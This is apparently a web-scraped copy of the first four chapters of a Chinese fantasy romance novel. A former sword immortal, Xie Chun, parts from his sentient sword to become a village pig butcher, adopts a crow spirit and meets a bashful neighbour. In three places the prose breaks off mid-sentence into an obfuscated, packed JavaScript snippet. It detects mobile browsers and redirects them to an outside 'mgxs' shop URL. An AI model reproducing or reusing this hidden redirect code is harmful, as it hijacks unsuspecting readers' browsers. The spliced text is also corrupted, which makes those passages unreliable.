《师尊竟是我自己》 1. 杀猪第一天 天清气朗,日光晒得人浑身发懒。 解椿没忍住,又发了一会儿呆,直到太阳开始西斜,林子里渐渐照不见光,才慢吞吞从坑里翻出来。 他心情确实要比之前好一些了。 因为就在刚刚,他突然回想起师父之前总说的某句话,彻底想通了一件事。 “十岁以前,师父总是叹气,说上辈子一定是杀了太多的人,犯下杀孽,这辈子才会收我当徒弟,教我这种小笨猪还债。” 解椿笑了一下。 他托着脸,蹲下来,不紧不慢,对着还在坑底的剑道:“我觉得我也和师父一样,是上辈子杀了太多的人,才会一直收和猪一样蠢的徒弟。” 剑嗡嗡叫了一声,不满。 “师父说的不是那种笨。”解椿还是笑,“笨和蠢是不一样的。” “总之,我决定去杀猪了。” 他突然正色道。 剑大惊,剧烈颤动,几乎要从坑底飞起来。 “是吧,你也觉得杀太多人不好。” 解椿巍然不动,“再杀人,说不定下下辈子也还要教猪。” 剑沉默了,但还是挣扎着动了一下,试图让解椿回心转意。 “……不干这个?” 解椿一愣,随即认真想了很久,星月渐升,青年那张皎静的脸也在夜光下变得朦胧、不真切起来。 他眼底沉着流萤的幽光,忽而叹了一口气:“可是我不会别的事了,小花。” 剑直挺挺躺在坑底,一动不动,好似木头。 解椿只好哄它:“世上除妖杀魔的人这么多,不会缺我一个的。” “再说,杀猪要用的是刀……” 话犹未落,剑猛地飞起,鸣声急促,不管不顾,直接撞到了解椿身上。 解椿把它按下去,“小花,不要闹。” 剑“啪嗒”一下,直接躺回了坑底,俨然一副自暴自弃的架势。 “你可是神剑。”解椿好笑道,“这不是神剑该干的事。” “我会经常回来看你的。” 他站起来,伸了个懒腰,说着便要走。 没走出几步,狐疑停下,重新回过头,身后没有动静,剑依旧老老实实在坑里躺着。 解椿:“……” 解椿重新走回去,蹲下来,“小花,你再移往右三寸,才是之前待的位置。” 于是剑就这么小心翼翼、不着痕迹地往旁边挪了挪,不多不少,刚好三寸,看得解椿又想叹气,又还有点想笑。 他郑重地喊了神剑的名字:“小花。” 剑猛地一抖,半截嵌进土里,好不可怜。 解椿刚硬起来的心又软了。 “你跟着我,我们都会被认出来的。”他只好跟剑慢慢讲道理,“之前孟……那个人就是。” 解椿想到前徒弟的来历,沉默了一下。 这同样也是剑的伤心事。 剑掘了土,把自己埋得更深,只留了小截剑柄,还有解椿亲手系上的剑穗在外面。 过往俱云烟矣,何况解椿白天就已经完全想通。 见神剑这幅模样,他心中熨帖,只觉得这剑实在可爱可怜,又怕剑更加自责,只好忍笑。 “我没有要怪你。”解椿放轻了声音。 他重新跳回坑里,和剑面对面蹲着,伸手去抚它摇摇晃晃,泠然有声的剑穗,“小花,你只是一把剑,剑本身是不会有错的。” “要怪,也只能怪那个人本身别有用心,不怀好意,我又识人不清,总不记得教训。” 剑特地避开了解椿蹲的一小片地方,生气地甩土。 看得解椿眼也弯弯,眉也弯弯,“好吧,是那个人太道貌岸然的错,也不能怪我。” “但我总有一天要收徒弟,把你托付给他的。去杀猪,杀个几千头,几万头,下一个徒弟说不定就是个不笨、不蠢、不坏的人了。” 这话也有道理,剑被说服了。 但剑穗还是缠着解椿的手指,绕了几圈,还在他手上打了个结,分明还是不舍。 “变成刀的样子也不可以。” 解椿狠心不去看它,板着脸道:“剑是剑,刀是刀。” 剑只是不想分开,一时情急,才会如此作态。 神剑有灵,他又和剑心意相通,答应剑,让剑因为喜欢自己而去做不喜欢的事情,才是辜负。 何况剑身上还有伤。 人是为了剑好,可剑从来不会像人这样,想那么多、那么复杂。 剑把自己从土里挖出来,甩甩身上的尘灰,整个贴到了人身上,蹭蹭这里,又擦擦那里,小兽似的黏。 也不知道从何处学的。 解椿千哄万哄,说了一箩筐好话,剑才斜斜插回土里,勉强接受暂时和他分开。 “小花,你好好晒太阳,好好养伤。” 走到一半,到底还是不放心,绕回去叮嘱:“不要乱跑。” “没有地方比这里更好了,我挑了很久的。” 剑背对他,敷衍抖了两下。 解椿几乎想不管不顾带着它一起上路。 剑不想离开人,难道人就愿意和剑分别吗? 只是…… 解椿心下叹息,“我安顿好,就马上来看你。” “你来找我也可以,但是不能被发现,也不能留太久。” 剑穗动了动。 解椿见状,继续往下说:“早点把伤养好,我们就能像原来那样,去哪都一起了。” “剑不可以杀猪,但是你可以在旁边看我杀,给我帮忙,替我拿东西。” ——剑就这么被哄好了。 解椿心中大石终于落地,放心出了这片暂时不会被任何人发现的林子。 接下来要做的,就是去学怎么杀猪,怎么当屠户了。 等学会了,就找那种偏僻一点,人不多,但也不至于特别少的地方住下,弄两个院子…… 计划只到一半,青年便突兀僵在了原地。 解椿乍然意识到,自己忘了一件最重要的事。 他再度转身。 剑早把自己哄好了,好端端又见到人,甚至还有点烦。 是故它只微微动弹了一下。 解椿并不在意剑这点小脾气,正色道:“小花,我想起来,凡人是要花钱的。” “买刀要钱,建院子要钱,养猪要钱……只要活着,就要花钱。” 方才还懒洋洋照着月亮的剑“嗖”地炸起,掠开一道残光,连带解椿也被吓了一跳。 回过神,顿时哭笑不得:“不是要卖你。” “小花,你怎么笨笨的。” 剑不笨,剑大声抗议。 “假的,书上那些只是故事,不会真的有剑修愿意当出自己的剑,用剑去换大小洞天的契石,换有各种妙用的丹药法宝临时渡过危难……” 解椿一时竟想不起来,剑到底是什么时候看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528799|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些杂书,不免愧疚。 “就算真的有那么一天,哪怕我把自己卖掉,也不会卖你的,小花。” 剑仍在天上挂着,不肯下来。 解椿被迫让步:“……好吧,要是真有那么一天,我会把我们一起卖掉。” 剑用天墟玉雕的剑珌对着他。 那年解椿初出茅庐,一剑惊四座,摧枯拉朽,一举夺下剑会魁首,得到的奖品便是这块徘徊五光,陆离十色的天墟之玉。 解椿修炼不假外物,即便天墟玉难得一见,价值连城,于他也是无用。 那场剑会实在去了太多人,有太多剑修亮了剑。 有人剑湛,蛟皮裹之,粼粼似雪;有人剑锋,饰之金玉,雕琢鹤纹…… 剑的剑鞘却只是一截玄色枯木。 直至解椿出剑,剑都是平平无奇,不值一顾。 剑因而爱美。 于是解椿便把天墟玉雕成剑珌,镶在了剑鞘上。 春光已逝,奇玉却一路沿树纹而上,零散成花,星星点点,葳葳生光,宛如枯枝再发,好不漂亮。 剑开心。 他也亦然。 师父第一次把剑放到他手上,剑于懵懂时第一次见他时,剑鞘也是这般模样。 只是剑自己不知道罢了。 “这个不能卖。”解椿态度和剑一样坚决。 他本来就没想过要卖什么,遂严肃指责了剑。 剑怏怏不乐。 解椿道:“我回来,是问你要不要和我先一起。” 他顿了一下,声音里带着笑: “一起去……干坏事,让别人给我们钱。” 剑迫不及待跳回解椿手上,不停去撞解椿的手心,催促之意,溢于言表。 解椿:“……” “我们是去干坏事。”他只好重申,“找山里那只妖怪。” 剑“铮铮”以示抗议。 解椿微妙:“……只是拿走他的钱财,都没有杀他们,已经是好事了?” “小花,你好生霸道。” 剑骄傲地甩起剑穗。 解椿无言:“不是夸你。” “那小妖好端端修炼他的,不伤性命,不啖血食,我们无缘无故上门,强借他的东西,如何能算好人?” 区区一只乌鸦而已,剑不听。 剑可是神剑,人以前也是响当当的一条剑仙。 ……等等,什么叫“一条剑仙”? 解椿微妙,动作慢了一刹,寒光便流星般驰掣出去,蓦地消失了。 他不及细想,匆匆去追,但还是迟了半步。 解椿到时,那只小妖的洞府已经只余残垣。 黄尘滚滚,尘烟逆流,剑凛凛立于废墟中央,当真神气十足。 下方,圆眼圆脸,模样不过八九岁,披了一身黑色羽衣的孩童正跌坐在地,瑟瑟抽噎,不能自抑。 再看剑——剑好不得意,曳了长长一道虹光,洋洋上前邀功。 解椿半恼,狠狠伸手弹了一下剑身,慌忙上前。 “我这剑……”有些顽皮。 还未开口,身体猛地一沉。 解椿垂下眼:原是这妖怪死死抱住了他的腿。 小妖一双漆黑的眼珠子滴溜转。 他同解椿目光对上,仰着鼻青眼乌,灰扑扑,惨兮兮的一张脸,嚎嚎大叫起来。 “真、真君,上人……小妖乌兮,你可要替妖做主啊!” 2. 杀猪第二天 小妖一通乱喊,又哭得上气不接下气,看着好不可怜,剑却被激怒了,锋芒毕露,直向他后心刺去。 解椿无声嗡唇,冷冷念了剑的名字。 剑光倏止,剑悻然归鞘。 小妖不知性命旦夕,莫名悚然,本能抱得更紧,犹攀海中浮木。 解椿未动,道:“我这剑有些顽皮,不知轻重,这才毁了你的洞府,但他找上你,的确是我授意。” 他稍顿了顿,“做主,你恐怕找错了人。” “仙长哪里的话!” 妖怪闻言,断然闭目,伸了一手向天。 他三指并拢,言之凿凿道:“仙长找我,自然是看得上我,不要说鞍前马后,任由仙长差遣了,就是肝胆涂地,万死不辞我也甘愿的!” 解椿:…… 一时之间,他竟完全不能理解。 兴是迟迟不见他反应,小妖悄悄睁开一只眼,又火速闭上:“这地方要是仙长自己想拆,我绝无怨言。” 这妖,生怕他不是恶人似的。 解椿按着躁动不已的剑,不由莞尔,“你先放开我。” 小妖纹丝未动,双目仍然紧闭。 “……乌兮?” “欸!” 这一声应得快极了,又脆又响,名为乌兮的小妖松了手,脸上泪痕一揩,顺势就要对解椿拜叩下去。 解椿定了他身,又即刻解开,止了这一动作,对妖道:“我即非真君,也当不得上人,和那些名宿更攀不上关系,不管你打什么算盘,最后都只能落空。” 乌兮大睁着眼,一双眼珠漆黑,黑白分明,“可仙长分明就是云上人啊,我以前见过的。” 解椿微怔,又听他道: “天上全是紫色的云,压得林子都快看不见了,鸾鸟开道,飞龙拉车……四周侍者也披着玉甲、着了羽衣。” 说着说着,他自己不自觉痴了,“我那会儿还是个刚破壳没几天的小鸟呢。” “那是沧水君的仪仗。” 他听见自己悠悠的声音:“驾飞龙,羽旄纷,鸾路龙鳞,云舞翱翔,侍者皆执夜光之火……他许是去迎亲的。” “仙长也是那样。”乌兮道。 “我如何能同沧水君比。”解椿失笑,不着痕迹将剑柄按得更紧。 剑几番挣扎,未果,气得拿剑穗去打解椿的手,一通乱拍,小狗尾巴似的。 “但是。” 乌兮欲言又止,正要说些什么,又轻易被剑引走了注意:“仙长,你的剑……” 解椿面色不变:“不碍事。” “它一会还要撞我,不信,可以等等看。” 乌兮依言照做,乖巧去看剑。 剑羞愤欲绝,发誓今天再也不要理睬解椿。 那厢,小妖同样下定决心。 他道:“就算仙长不是我以为的那种云上人,我也还是想跟着仙长,服侍仙长。仙长让我干什么都行。” 解椿哑然,竟不知这妖到底是笨还是机灵,只好道明原委,希望他能改了主意。 “我找你,原是打算借些财物。” “好说好说,我偷……咳,攒了不少呢。”乌兮毫不犹豫,从袖子里抖出一堆晶亮的小玩意,多是些不同形状的碎银,还夹了金子和几块宝石。 他相当豪气,一把将那座小山推到解椿面前,“仙长要用,全拿去好了。不够,我再去镇子上攒!” 解椿摇头,没有接:“用不了这么多。” “还有,不用叫我仙长。” 乌兮想也不想,张口就来:“那老爷?大人?” 解椿一哂:“……喊前辈就好。” “此处虽有些偏僻,但山明水静,灵气也算充裕,你好生修炼,毋要做恶,百年以后,我会带一截扶桑树枝来寻你,全你此番襄助之情。” 乌兮沉默不语。 解椿继续道:“若是担心毁约,我也可以立誓。” 这是一早就想好的,只是他没料到,山中那只乌鸦小妖,居然会是这般性格。 “可是我再长几十年,也都到不了一百岁。”乌兮说。 小妖的声音一下子轻下来: “一百年太长了,前辈,我活不了那么久的。” 解椿……解椿不知该如何答他,无端怅然。 “但我要去杀猪。”他只好这么对妖说,“你执意跟着我,更得不到什么。” “怎么会?”乌兮强自振作,“前辈去除猪妖,我跟在后面看着也是好的呀。” 解椿道:“不是除妖。” “杀猪,是处理在猪圈里的那种猪,把它们变成人能吃的肉的意思。” 乌兮瞪大了眼,哪里还想得起来伤心。 他下意识喃喃:“……那不就是屠户?” 解椿点点头,认真道:“对,我记得应该是这样叫的。” 鸟的脑袋就这么一点大,乌兮就是想破头,也想不出,杀猪和修行能有什么关联。 他见过屠户。 这样一双用剑的手,这样一个神仪明秀,玉一般的云上仙人,也要去抓着杀猪刀,沾一身案板上的血污么。 “那前辈……要杀多久的猪?” 乌兮实在难以死心,“我可以等。” 解椿被问到了,他想了很久,才给了小妖一个完全算不上答案的答案,“也许几年,也许几十年,也许几百年。” 并劝道:“你天资聪颖,灵智早开,又修出了人形,一百年,兴许不会太长。” “扶桑乃金乌所栖,它的树枝,或能助你淬炼己身,凝出一缕先祖血脉。” 乌兮摇头:“前辈,我不要扶桑枝。” “我只想跟着前辈,等哪天前辈不想杀猪了,重新去做前辈该干的事,我也能有个好的去处。” 他旋即听见一声叹息。 “……罢了。”解椿说。 “即使要像真正的乌鸦那样,不能言语,更用不了妖力,你也愿意吗?” “当然!” 生怕青年不答应,乌兮接着迅速补充了一句,“前辈,乌兮心甘情愿!” 到底是鸟,年龄也不大,心智更说不上成熟,见解椿点了头,很快便叽叽喳喳起来。 “方圆几百里,还没有我不了解的地方,前辈想当屠户,南边的村子就很不错,背靠着山,离镇子还近,乡亲脾气都很好,有个人虽然怪怪的,但他跟前辈一样好看,不像西边那个村子,鸟一进屋子就赶……” 解椿也不嫌烦,听得很仔细。 “那就先往南,去看看那边的村子。” 他取了些银子,还有一小块黄金,嘱咐乌兮:“你先把这些东西收起来,找地方藏好。” “前辈,我这就去!” 乌兮欢快应是,一路蹦跳进了旁边的林子。 解椿趁机戳了戳剑,“小花?” 剑也是有脾气的,说不理睬,就不理睬。 解椿低声下气,试图动之以理:“我刚刚不是说我剑术不如沧水君,你也赶不上他那把剑的意思……是在说沧水君出身大族,底蕴深厚,非寻常修士可比。” 沧水君为人性耿,脾性谦和,和他也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528800|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是聊得来。 奈何剑对那届剑会上所有人,所有剑,都耿耿于怀,沧水君那柄击浪剑身又极湛,轻盈秀美,澄波漾月,剑不止记得,印象还格外深。 加之他生性好静,不爱走动,又因故换了几次身份,不知不觉间,便完全断了联系。 解椿上一次听到这个名号,还是二十年前。 那人向他求教,和他谈剑,言笑晏晏之间,他无意中提起当年,说到那届剑会,点评了几句当时的参加者。 其中就有沧水君。 那人玩笑一般告诉了他沧水君欲求娶东海龙女,龙女对沧水君亦有情,沧水君倾全族之力备了队伍接亲,却被拒于龙宫门外,未见到龙女的事。 说哪怕大族,亦有云泥之别。 当时他只顾惋惜,现在想来,那也许并非玩笑,而是不屑。 “再说了,你堂堂神剑,和手下败将计较这么多做什么?” 剑计较的事可不止这一件,沧水君的事翻篇了,还有小妖怪的。 解椿又是摸它,又是就地取材,用银丝给它剑穗缠了新的流苏,把结打成一朵一朵小花的形状,剑才“嗡嗡”鸣了几声,重新开始理人。 就像剑不愿意和人分开一样,人也是舍不得剑的。 否则,人大可自己过来找这只妖怪。 于是剑宽宏大量,慢腾腾飞起来,主动贴了贴人冰凉的脸颊,钻进了人的怀里。 解椿抱着剑,偏过了脸。 他枕着冒出来一截的剑柄,缓缓闭上眼睛,喊剑的名字,慢吞吞问它:“小花,我以后七天来看你一次,好不好?” 剑晃了三下。 解椿思忖,沉吟道:“来看我?当然可以,我们不是之前就说好了?不过不能被别人看见,一次也最多只能待三个时辰。” “伤好以后?伤好以后的事,等伤好了再说。” 心血和灵蕴哪里是那么好容易再生的?不管他,还是剑,想恢复元气,至少也得先修养个几十年几百年。 然而剑现在就要保证。 解椿无语凝噎,实在不知道它和一个小妖怪计较些什么:“好,到时候让他去另一边守师父的洞府。” “就算他不要,我也会给他的……我只和小花不分彼此,牵扯不清。” “下次给你编新的剑穗。” 剑这才满意,徐徐拖着银色的长尾巴,回去坑里,继续吸收地气了。 解椿忽感到寂寞。 从来不是剑离不开人,神剑代代相传,不知换过多少侍奉者。 是人自从得到剑起,就不曾有哪一刻和剑分开过。 他淡淡地想:归根结底,还是人不好。 而后看向正朝自己飞过来的那只鸟。 扑棱着翅膀,脑袋圆圆,浑身漆黑,脖子上绑着了个雪白的小包裹。 正是乌兮。 小妖一出林子,就箭一般射了过来。 他炮弹似的落在解椿手上,蹦来跳去,嘎嘎乱叫,积极得无以复加。 ……还好剑已经回去了。 解椿庆幸之余,还有点想笑,“但是乌兮,我还不知道村子叫什么,该怎么走。” “嘎啊!”鸟歪头,眨了眨圆溜溜的眼,从他手里跳下去。 不多时,地上便多了几个歪歪扭扭,以爪痕拼凑的大字。 乌兮昂首挺胸,飞到前面,拿翅膀指路。 就算变成普通乌鸦,鸟也一样有用! 但解椿没动。 解椿还在原地,努力地认字: “太……平……村?” 3. 杀猪第三天 太平村不大,四十五户人,有良田有桑竹,村头还流经一条弯弯绕绕的小溪。 背山面水,解椿很满意。 更不要说村里还刚好空出来一间屋子。 解椿没学过卜算,不懂天意,但这地方确实等着他来住的。 三合的宅子,前院是堂屋和两间厢房,栽了榆树,还有口水井,石块压着。 后院拿矮墙隔开了,竹筐竹笼一类的东西杂乱堆着,地上依稀留着垄过的痕迹。 解椿甚至还在草里找到了一把豁了口的刀。 他把刀捡起来,有点爱惜地擦了几遍,然后才看了地上缺笔少画,隐约能辨认的“找村长”,恋恋不舍,半天没挪动脚。 乌兮用喙叼着他的袖子,拽着他往前走。 好在眼下是夜半,村里只有几条黄狗,几只花狸醒着,离院子也还很远,就算动静稍微大了些,也不会被人瞧见。 “我想先把院子收拾一下。”解椿说,“这样,到时候就能直接住进来了。” 乌兮拍着翅膀,啊啊啊地叫。 妖不是剑,解椿没办法和他心意相通,只能听出着急,却弄不懂意思。 “乌兮,不要急。” 他最后看了一眼树下面那半个破板凳,这才扭过脸,“天亮还有……” 话没说完,便卡了壳。 小妖同样慌乱,飞都不会了,半扑半滚钻进了他的袖子,翅膀毛都掉了几根。 院子外面站了格外高挑的青年。 瑰杰俊秀,朗如松风,一双凤眼寒星似的亮。 解椿平生阅剑多,阅人少,所接触者,无一不是所谓的天骄翘楚。 但论及仪表,风姿气度,他一时竟想不到有谁能压这人一头。 不知是因青年一身好风骨,还是因第一次当凡人,五感不太适应,解椿不止心虚。 心跳得也快。 他默然同青年对视半晌,才冒出一句相当乏力的解释:“……我不是贼。” 话毕,才想起来自己手上还抓了把在后院找到的刀。 解椿提起刀,“这个已经不能用了,是我捡的。” 青年身形微晃,眉头直接压了下去。 他脸是冷的,嘴唇几乎抿成一条线,瞧上去凶巴巴。 刀隐隐做烫。 解椿讪讪,放下手,将刀往身后藏了藏,几乎想用法术作弊。 “这位……乡亲,我真的不是贼人。”他斟酌着开口,“我打算搬到太平村,刚好又看见这处宅子空着,便想将这里买下来住。” 青年道:“先找村正迁籍,问过乡邻以后,才能立契约。” 解椿一愣,旋即反应过来,连连道谢。 青年又道:“隔壁就是我的屋子。” “……哦。” 他走上前来,仍是那副表情,解椿却突然注意到,他右眼下方有一颗很小的,红色的痣。 对比青年那副样貌,很是可爱。 解椿已经完全不慌了,非但不慌,甚至还有点出神,只觉得此处山水实在玄妙。 地气充裕不说,还能育养出这样的人。 青年努力挤出来一个不算好看的笑,“天亮还早,你要是没有地方能去,可以先到我那里。” ——乌兮所言不虚,太平村,果然人好。 解椿眨眨眼,将目光从他眼睑处移开,摇头。 他想把院子先收拾一遍。 “多谢这位乡亲。”解椿道谢,拒绝青年的好意,“我还想再看看。” 青年沉默,片刻,才缓缓道:“燕流光,我的名字是燕流光。” “我叫解椿。”解椿礼尚往来,也报上自己的名字。 燕流光定定看过来,没有要动的意思,“我就住在隔壁。” 这话先前便说过一遍了,解椿不解,想了想,干脆指给他看,“是这边,对吧?” 在山上俯瞰太平村的时候,解椿就仔细看过燕流光的住处了。 很漂亮的一间院子,不止有树,还栽了花草,搭葡萄的架子下面摆着张藤椅,藤椅旁边,还有零星的萤火。 燕流光“嗯”了一声,还是没动。 刚来就说乡亲的闲话不太好,可解椿真觉得他有点像一截木头。 木头还在咚咚地响,像有鸟喙在上面敲。 解椿其实还能再盯久一会儿,他不觉得这件事无聊。 但眼下收拾院子重要。 解椿把树下那半个凳子从草里扯出来,一抬头,发现燕流光站在旁边,伸了手,似乎想接东西。 他一看过去,燕流光手又缩回去了。 原来是不好意思。 解椿恍然大悟,领了燕流光的好意:“我自己来就可以了,到时候屋子也还要收拾……” 等买了宅子,正式安定下来,再请好邻居帮忙也不迟。 “好,我去收拾里面。”燕流光好像就在等他这句话似的,当下便转了身,径直往侧边屋子走过去。 解椿:…… 门上还有锁呢。 不对,他根本不是这个意思。 解椿一时情急,忙伸手去拦他。 不料袖子里还藏着只小妖,乌兮一下子滚了出来。 不止解椿,鸟也懵了,将将落地,才猛地拍了翅膀,扎进草里。 解椿咳嗽一声:“刚刚……” “刚刚怎么了?”燕流光问他。 “没什么,边上好像飞过去了一只鸟。”解椿含混,“可能是我看错了。” 乌兮黑黢黢的一团,燕流光可能真没看见。 “村子里树多,鸟也多。”燕流光语气认认真真。 解椿也点头,“这里山水都很好。” 两个人莫名其妙又站住了,解椿努力不去看他脸上那颗小痣:“是不是打扰到你了?” 他后知后觉意识到,可能是自己把燕流光吵醒的。 “没有。”燕流光矢口否认,而后才晃一下脑袋,道,“我原本就醒了,没有睡。” 解椿“哦”了声,看着燕流光认真的眼睛,总觉得自己应该说点什么。 说什么呢?他苦思片刻,正色道:“人还是要多睡觉。” “好。”燕流光一口应下。 “我有好好睡觉。”他接着道,“今天是在等猫。” “猫?”解椿好奇。 他附近没看到什么猫,那几只花狸要么在各自家里,要么在家门口的围墙上转悠。 燕流光道:“以前捡的,有时候会出去打猎。” 他顿了一下,补充:“可能进山里了。” “那它一定很厉害。”解椿不由想起剑。 剑有时候也会自己飞出去玩,在附近斩几只血气中的妖怪之类的。 不过剑不像燕流光养的猫,剑通常很快就会回来,一边炫耀,一边把缴来的东西甩给他,得意向他邀功。 虽然还有正事,但他依旧多问了燕流光一句:“猫回来的时候,会给你带猎物吗?” 燕流光没出声。 还是那张脸,还是那副表情,可就是显得很落寞、很可怜。 解椿连忙安慰:“至少它回来……吧。” “猫出去打猎,说明它也想养家,它肯定还是喜欢你的。” 燕流光闷闷点头,忽然问道:“……你饿不饿?要不要喝水?” 这一句没头没尾,解椿半天才反应过来。 不知该如何回答的人变成了他。 “还、还好?” “能不能等我一下?”燕流光又问,语气很小心。 真奇怪,解椿居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528801|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听出来一丝恳求,好像他随时会离开似的。 这个问题也很突兀。 他能去到哪里呢? 可看到走几步就要回头的燕流光,他心里竟只剩下淡淡的好笑。 解椿抬头,去找栖在树上的小妖怪,“乌兮,这个人不怪的。” 又问:“村子的人都这么好吗?” 乌兮“嘎啊”叫了一声,表示回应。 “谢谢你告诉我这里。”解椿认认真真,又冲妖道了一遍谢。 鸟开心极了,挥着翅膀蹦来跳去,差点踩折落脚的细枝。 燕流光脚步匆匆,去又复返,回来得很快。 解椿手边的杂草还没拔完,眼前就出现一只素青的瓷碟。 碟子里是几块糕点,酥皮破了,边角有些掉渣,说不上精致,闻起来却很香。 但比起糕点,更吸引他的是燕流光鼻尖冒出来的一点汗。 那上面蹭到了灰。 “先不要动。” 他忍不住对显得局促的燕流光伸了手。 燕流光浑身一颤,瞬间泄了力气,手腕骤软,险些将盘子也打翻。 “好了。”解椿说。 “你鼻子上面刚刚有东西。” “哦……”燕流光仍是愣愣,下意识要去揩鼻子。 可他两只手都不是空的,这一动,碗里盛的水直接洒了小半。 水溅到身上,燕流光才蓦地回神:“多、多谢。” 青年耳朵根已经完全红了,声音和蚊子差不多,解椿费了很大力气才把不住上扬的嘴角压下去。 燕流光分明是手长脚长,宝剑般灼目一条人,言行举止为什么能这么钝,这么笨拙,以至于可爱? “应该是我谢你才对。”解椿拈了一块点心,“好心给我借住,替我帮忙,还担心我饿,给我送吃的,送水。” “这是镇子上面卖的吗?” 点心调得完全不腻,入口是很淡的甜,还夹了一点花本身会有的涩,是解椿喜欢的味道。他眼睛亮了一下,“还有没有其它的口味?” 燕流光嘴唇抿得死紧,摇头,声音像从牙齿缝里挤出来的:“我自己做的。” 解椿闻声去看青年的耳朵——果然,又红了不少。 “现在只剩这些了。”他连脸也开始烫了,说着就要转身,“你喜欢,我可以再做。” 解椿一怔:“……现在吗?” 燕流光严肃点了点头,“你想吃。” “可是你已经说带我去找村正了。”解椿急忙叫住他。 做这种点心,光开酥就要花不少时间,他以前看人做过。 燕流光却固执道:“天亮,来得及。” “那多麻烦你。”解椿三下五除二解决了点心,刚想找个东西擦手,一条帕子就递到了面前。 也不知道燕流光是从哪里掏出来的。 青年巴巴地看着他:“点心有点干。” 解椿心中好笑,不得已从他手中接过碗喝了两口。 “这算不算无事献殷勤?”他故意问燕流光,“无事献殷勤就是……” 倒不是想欺负人。 就像他之前故意跟剑反着说,讲杀太多人不好,逗剑那样,觉得有趣罢了。 燕流光果然支支吾吾,半天挤不出一个字,面上更是赤霞一片。 解椿看着他笑,笑够了,才对不知何时愣住的人开口:“方才我是故意那么说的。” 事后再看,确实有些得意忘形,不知轻重了。 解椿难得后悔,试图补救。 正要开口,燕流光倏而出声。 “但是你刚刚很开心。”燕流光声音很轻。 他这样说道:“笑起来的样子也特别好看。” 解椿对上他的目光,突然无措。 4. 杀猪第四天 解椿闷闷又拈了一块糕点,叹了口气:“这话不能随便和别人说的。” 燕流光兴许没有别的意思,可话本身太容易引起误会。 “可是你说要搬过来。”燕流光不解。 “那我也是别人啊……” 解椿欲言又止。 可对上青年那双漆黑的,眨也不眨的眼睛,忽然就说不下去了。 “总之这么说不太好。”他含混道。 但具体哪里不好又说不上来,反而被搅得心乱。 燕流光说:“可是刚刚看见你笑,我心里也很高兴。” 解椿……解椿愤而咬了口点心,重重地叹气,宁愿燕流光顺着话往下问。 他斟酌再三,才缓缓开口道:“那肯定是因为我长得还不错。” “我刚刚看见你在外面的时候也吓了一跳,心想这里居然有人比……” 解椿突然卡壳。 一是记不起来那位第一才俊的名字,二是他话到嘴边,蓦然意识到燕流光是个凡人。 他憋了好一会,才干巴巴挤出来后面半句:“比城里那些郎君好看。” 燕流光面红耳赤,偏过脸,错开目光,脑袋也往下埋了埋。 解椿找不见那颗小痣,只好遗憾去看他的睫毛。 很长,很浓密的睫毛,垂下来一小片影子,像是小扇。 解椿好奇数了一会儿,才听见燕流光低低的声音:“是特别好才对。” ……他想了这么久,要说的居然只有这个。 于是解椿也跟着不好意思起来,同样小声道:“倒也没有那么好看。” 燕流光张了张嘴,似乎要说什么,又止住了,最终只闷头把装点心的碟子又往前递了递。 这人—— 解椿又不是真饿。 解椿勉为其难吃光了剩下的点心,终于想起来正事。 “这边的院子是不是空了很久了?”他一边拔草一边问燕流光。 燕流光下意识摇头,又点点头,“三年前搬的,去城里了。” “城里?”解椿好奇。 这边镇子有几个,最近的城却要三四百里。 “去求仙。”燕流光头也不抬,“带清嘉,还有清圆。 ” “这家的孪生子。”他说完才想起来解释,“之前,去镇子上赶集时候,在路过的道人那里测出来了根骨。” 解椿顿时兴致缺缺,随便扯了几根莠草,敷衍应道:“看来是寻到了,不然也不至于不回来。” “回来过几次。”燕流光说。 又答道:“是寻到了。” “给乡亲送东西的。” 解椿心情这才明朗了些,“那还是这边的村子好,一方水土养一方人。” 埋头拔草的燕流光突然停下,小心翼翼凑过来,摊开手。 他手心静静躺了个精巧的笼子,指头大小。 笼中流萤几点,明明灭灭。 解椿挑眉,“哇”了一声。 “我怎么没看到?” 他起身,四周环顾一圈,这才发现院里的杂草已燕流光拔了小半,换了个问题:“怎么突然想起来抓这个?” 燕流光手心又往前递了一点,“不一样。” 解椿凑近细看。 萤火多少为黄、绿之色,笼中亮的却是橘光。 解椿端详片刻,心中闪念,也跟拔了几根莠草出来,“是不是这样编?” 剑还没有过类似样式的剑穗。 低头个头的工夫,燕流光手心又多出来一只绿色的小鸟。 他不说话,只默默把东西往解椿眼前递。 解椿于是慢半拍地反应过来,原来这人不是让他看,是想送他。 流萤随处可见,莠草更是遍地生长。 萤火而已,以前有谁专程为他点亮过一座城的灯。 可他那时只觉得不解,浪费时间。 不像现在,想了很久,也想不出这时候该对燕流光说什么。 一时兴起,模仿笼子样式编的草绳只编了个开头。 